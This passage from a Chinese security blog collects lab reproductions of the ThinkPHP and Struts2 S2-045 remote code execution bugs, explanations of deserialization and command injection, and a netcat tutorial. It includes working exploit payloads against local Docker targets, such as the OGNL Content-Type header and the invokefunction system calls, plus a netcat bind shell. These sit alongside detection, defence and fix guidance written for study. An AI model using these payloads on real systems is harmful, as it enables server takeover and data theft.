访问 http://127.0.0.1:8081/ 确认页面正常。

5.0.23 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

返回结果里能看到 uid=www-data 之类输出，说明命令已执行。

换命令：

1
2


vars[0]=system&vars[1][]=whoami
vars[0]=system&vars[1][]=cat /etc/passwd

5.1.x 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=index/\think\Request/input&filter[]=system&data=id'

5.1.x 通常需要开启 debug 才有回显，但命令已执行，可用 DNSLog 或写入文件验证。

四、漏洞检测

1
2
3
4


日志中找 /think/、invokefunction、call_user_func_array、filter[] 关键字
找异常的大写类名路径
GET/POST 参数中出现 vars、data、filter 数组
指纹确认 ThinkPHP 版本

五、漏洞防御

1
2
3
4


关闭 debug，生产环境隐藏错误回显
WAF 拦截 /think/ 与 call_user_func_array
不使用默认魔术路由，显式定义路由
限制请求参数类型与长度

六、漏洞修复

1
2
3
4


升级到 ThinkPHP 5.1.41+ 或 6.x
升级后回归路由与参数校验
关闭不必要的方法调用能力
对历史代码做一次参数审计

修复后用原 payload 复测确认失效。

七、小结

ThinkPHP RCE 代表了“框架默认路由 + 可控参数”这一类问题。渗透时框架版本识别决定利用链；防御端要“升级 + 关闭调试 + 收敛路由”一起做，缺一不可。

Struts2 S2-045 漏洞复现

Sat, 29 Aug 2026 11:00:00 +0800

写在前面：合法学习边界

本文复现只在本机 Docker 靶场进行。Struts2 漏洞利用可能触犯法律，禁止对真实目标使用。请先搭建隔离的靶机环境。

一、漏洞原理

S2-045 是 Apache Struts2 处理 Content-Type 头时的 OGNL 表达式注入漏洞。

成因链路：

1
2
3


1. 请求头 Content-Type 被传给上传组件解析
2. 组件在解析失败时，把错误信息拼进 OGNL 表达式
3. OGNL 表达式被当作代码执行

漏洞本质：不可信输入（Content-Type）进入了表达式解析流程，被当成了代码而不是数据。

影响版本：

1
2


Struts2 2.3.5 – 2.3.31
Struts2 2.5 – 2.5.10

二、漏洞影响与危害

攻击者无需认证，只要发送一个恶意 Content-Type 头就能：

1
2
3
4


在服务器上执行任意系统命令（RCE）
读取敏感文件
横向渗透内网
配合内网漏洞提权

风险等级：严重（CVSS 10.0）。这是可以直接拿到服务器控制权的漏洞，也是早期护网和红队的高频入口。

三、漏洞利用 / 复现

环境准备

1

docker run -d -p 8080:8080 --name s2-045 xlfe/s2-045

访问 http://127.0.0.1:8080/ 确认靶场正常返回上传页面。

验证漏洞

1
2


curl -i -X POST http://127.0.0.1:8080/doUpload \
 -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

如果响应里出现命令执行结果（如 uid=0(root)），说明漏洞存在。

利用要点

把 Payload 里的 #cmd='id' 换成要执行的命令：

1
2
3


#cmd='whoami'
#cmd='cat /etc/passwd'
#cmd='id && whoami'

常见失败原因：

1
2
3
4


前面有 WAF 拦截
目标不是 multipart 上传接口
目标版本已修复
Content-Type 被转义或长度限制

四、漏洞检测

1
2
3
4


抓请求，看 Content-Type 是否异常长、是否含 %{ 或 OGNL 关键字
查 Web 日志中大量 /doUpload 与 500 错误
看响应是否返回非业务内容（命令输出特征）
用 Nmap/指纹确认 Struts2 版本

五、漏洞防御

1
2
3
4


上传接口单独加固、限制大小
WAF 拦截 Content-Type 中的 %{ 与 OGNL 关键字
对 OGNL 相关关键字做统一过滤
监控异常响应与异常请求体

六、漏洞修复

1
2
3
4


升级 Struts2 到 2.5.10.1 及以上（最根本）
确认 Maven/依赖里所有 Struts2 版本一致
升级后回归上传功能
禁止内网继续使用老版本中间件

修复后建议用同款 payload 复测，确认命令不再被执行。

七、小结

S2-045 的教训：框架版本必须及时更新；任何把用户可控头拼进表达式解析的组件都可能成为 RCE 入口。同时记住，识别框架版本是信息收集的关键，因为它直接决定了利用链。

反序列化原理与风险

Sat, 29 Aug 2026 10:20:00 +0800

写在前面：合法学习边界

本文讲解反序列化漏洞的原理与防御。不要对真实系统构造恶意序列化数据。所有验证只能在自建靶场或明确授权的测试环境中进行。

一、序列化是干什么的

程序里的对象只存在于内存中，离开进程就没法保存或传输。序列化就是把对象转成字节或字符串，反序列化就是把它们变回对象。

典型用途：

1
2
3


把对象存进数据库、缓存
对象在网络间传递
前后端交换复杂数据

序列化本身不是坏事，问题出在反序列化时是否信任了来源。

二、为什么反序列化会危险

反序列化不是简单“读回数据”，很多语言在反序列化时会执行类构造、魔术方法甚至任意类方法。

如果攻击者能控制反序列化的内容，就可能：

1
2
3
4


触发危险方法链
读写任意文件
执行系统命令
造成 RCE

常见的危险场景集中在：

1
2
3
4


Java 的 readObject / ysoserial 链
Python 的 pickle
PHP 的 unserialize + 魔术方法
Ruby 的 Marshal.load

一句关键的话：反序列化等于在“加载代码路径”，不是加载数据。

三、哪些入口最容易被利用

1
2
3
4


接收序列化数据的接口
加密 Cookie 里存了对象
消息队列、缓存里传对象
日志或报告功能解析对象

尤其要注意：某些系统把对象序列化后 Base64 放进 Cookie，如果密钥泄露或逻辑校验缺失，等于把“执行入口”交给攻击者。

影响与危害

反序列化漏洞能造成：

1
2
3
4


远程代码执行（RCE）
任意文件读写
服务器被完全控制
内网横向移动

风险等级：严重。它往往能直接绕过大部分输入校验。

四、防御思路

1. 别反序列化不可信数据

能用 JSON、纯数据格式就用它们，能少用原生反序列化就少用。

2. 校验与签名

1
2
3


对序列化内容加签名/HMAC
校验版本和类型白名单
拒绝未知类

3. 白名单类过滤

明确允许哪些类可以反序列化，而不是黑名单。黑名单永远追不上新 gadget。

4. 隔离与最小权限

1
2
3


反序列化进程用最小权限运行
沙箱或独立环境解析
限制文件系统、网络访问

5. 审计

关注异常反序列化请求、非常规类名、异常异常栈。

修复

1
2
3
4
5


不使用原生反序列化处理不可信数据
对序列化内容加签名/HMAC
反序列化做类白名单
以最小权限、隔离环境运行解析进程
修复后复测：构造对象不再执行

五、报告中的正确写法

示例：

1
2
3


发现：Cookie 中存放 Base64 编码的序列化对象，反序列化未做类白名单校验，存在可利用链。
风险：攻击者可能构造恶意对象导致命令执行。
建议：改用不可执行数据格式；对数据加签名；反序列化做类白名单；以最小权限运行。

报告要写清“入口、是否可验证、影响、修复优先级”，而不是只写“存在反序列化风险”。

六、小结

反序列化的本质是“加载代码路径”。它比参数注入更危险，因为它能绕过很多输入校验。把“反序列化 = 执行入口”记在心里，才会谨慎对待每一个序列化来源。

命令注入原理与防御

Sat, 29 Aug 2026 07:15:00 +0800

写在前面：合法学习边界

本文讲解命令注入的原理和防御。请不要在真实系统上构造命令拼接、提权或利用系统命令。所有示例都应在自建靶场、授权测试环境中学习。

一、命令注入的本质

命令注入的本质是：程序把用户输入拼接到系统命令里，操作系统把输入当成命令的一部分执行了。

例如：

1
2


input = "127.0.0.1"
command = "ping -c 1 " + input

如果输入：

1

127.0.0.1; id

就可能变成：

1

ping -c 1 127.0.0.1; id

结果是多执行了一条命令。

二、常见触发点

1
2
3
4
5
6


ping 工具
文件路径参数
命令执行接口
下载/转换工具
网络诊断功能
批量管理脚本

常见危险字符：

1
2
3
4


;
&&
||
|

还有换行符、反引号、括号等。

三、为什么容易被忽略

很多系统认为“只有管理员才能访问”，所以没有做输入校验。但管理员接口也常被弱口令、SSRF、未授权访问或 XSS 打进来。

命令注入的危害往往比 SQL 注入更直接：

1
2
3
4
5


执行系统命令
读取文件
提权
下载工具
修改配置

影响与危害

命令注入能造成：

1
2
3
4


服务器命令执行（RCE）
读取敏感文件
反弹 Shell
内网横向渗透

风险等级：严重。

四、防御方法

1. 白名单

优先使用白名单而不是黑名单。

例如只允许 IP 地址：

1

只允许 IPv4 格式

2. 参数化调用

不要直接拼接 shell 字符串，改用参数数组调用。

3. 最小权限

不要让 Web 服务拥有过高权限。

4. 禁用不必要的命令

不要给普通用户执行敏感命令的能力。

5. 输入校验

限制长度、格式、字符集。

6. 日志与告警

监控异常命令参数、异常进程、异常子进程。

修复

1
2
3
4
5


禁止拼接 shell 命令，改用参数化 API
对可执行命令做白名单
对特殊字符（; | & $ `）做严格校验
进程以最小权限运行
修复后复测：注入命令不再执行

五、报告中的正确写法

示例：

1
2
3


发现：/api/diag 接口的 host 参数会拼接到 ping 命令，且未过滤分号。
风险：可能导致命令执行、文件读取、权限提升或服务器控制。
建议：使用参数化调用；限制输入格式；最小权限运行；增加异常命令告警。

六、小结

命令注入的核心是“输入进入了命令执行路径”。防御时要优先使用白名单和参数化调用，而不是依赖简单替换。

Nc（netcat）命令使用

Mon, 21 Apr 2025 10:37:16 +0800

一、简介

nc（Netcat）是一个功能强大的网络工具，用于读写网络连接（TCP 和 UDP）。它常被称为"网络瑞士军刀"，可用于端口扫描、数据传输、远程控制等多种用途。

二、安装

（一）通过包管理器安装

Debian/Ubuntu：

1
2


sudo apt update
sudo apt install netcat

CentOS/RHEL：
1

sudo yum install nc
Arch Linux：
1

sudo pacman -S inetutils
Fedora：
1

sudo dnf install nc
openSUSE：
1

sudo zypper install netcat-openbsd

（二）从源代码编译安装

从官方网站下载 nc 的源代码。
解压源代码包并进入解压后的目录。

执行以下命令来编译和安装 nc：

1
2
3


./configure
make
sudo make install

（三）验证安装

安装完成后，可以通过运行以下命令来验证 nc 是否安装成功：

1

nc -h

如果返回 nc 命令的帮助信息，则表示安装成功。

三、基本语法

1

nc [选项] [主机] [端口]

四、常用选项

选项	说明
`-l`	使用监听模式，管控传入的资料
`-p`	设置本地主机使用的通信端口
`-s`	设置本地主机送出数据包的 IP 地址
`-u`	使用 UDP 传输协议
`-v`	显示指令执行过程
`-w`	设置等待连线的时间
`-z`	使用 0 输入/输出模式，只在扫描通信端口时使用

五、使用示例

（一）端口扫描

TCP 端口扫描：
1

nc -zv 192.168.1.1 80-443
扫描目标 IP 地址（192.168.1.1）上的端口 80 到 443，检查是否开放。
UDP 端口扫描：
1

nc -zvu 192.168.1.1 53
扫描目标主机的 UDP 端口 53。

（二）监听端口

TCP 端口监听：
1

nc -l 8080
在本地监听 8080 端口。
UDP 端口监听：
1

nc -u -l 8080
使用 UDP 协议监听 8080 端口。

（三）数据传输

发送文件：
1

nc 192.168.1.2 12345 < file.txt
将 file.txt 发送到远程主机的 12345 端口。
接收文件：
1

nc -l 12345 > file.txt
在本地监听 12345 端口并接收文件。

（四）远程命令执行

目标机器上：
1

nc -lvp 4444 -e /bin/bash
在目标机器上监听 4444 端口，并将 /bin/bash 作为远程命令执行。
攻击者机器上：
1

nc 192.168.1.2 4444
连接到目标机器的 4444 端口，获取远程命令执行的 Shell。

（五）端口转发

本地端口转发：
1

nc -l 8080 | nc 192.168.1.100 80
将本地 8080 端口的数据转发到远程服务器的 80 端口。

（六）网络调试

发送 HTTP 请求：

1

echo -ne "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

向目标服务器发送 HTTP 请求。

六、注意事项

权限问题：某些功能（如监听低端口号）可能需要管理员权限。
安全问题：使用远程命令执行功能时需谨慎，避免安全风险。
版本差异：不同版本的 nc（如 netcat、ncat）功能可能有所不同。
安装路径：安装完成后，可能需要将 nc 的路径添加到系统的环境变量中，以便在任意终端中直接使用。

七、总结

nc 是一个功能强大的网络工具，适用于多种场景，包括端口扫描、数据传输、远程控制等。通过掌握基本语法和高级功能，可以快速实现网络通信和数据传输，帮助进行网络管理和故障排查。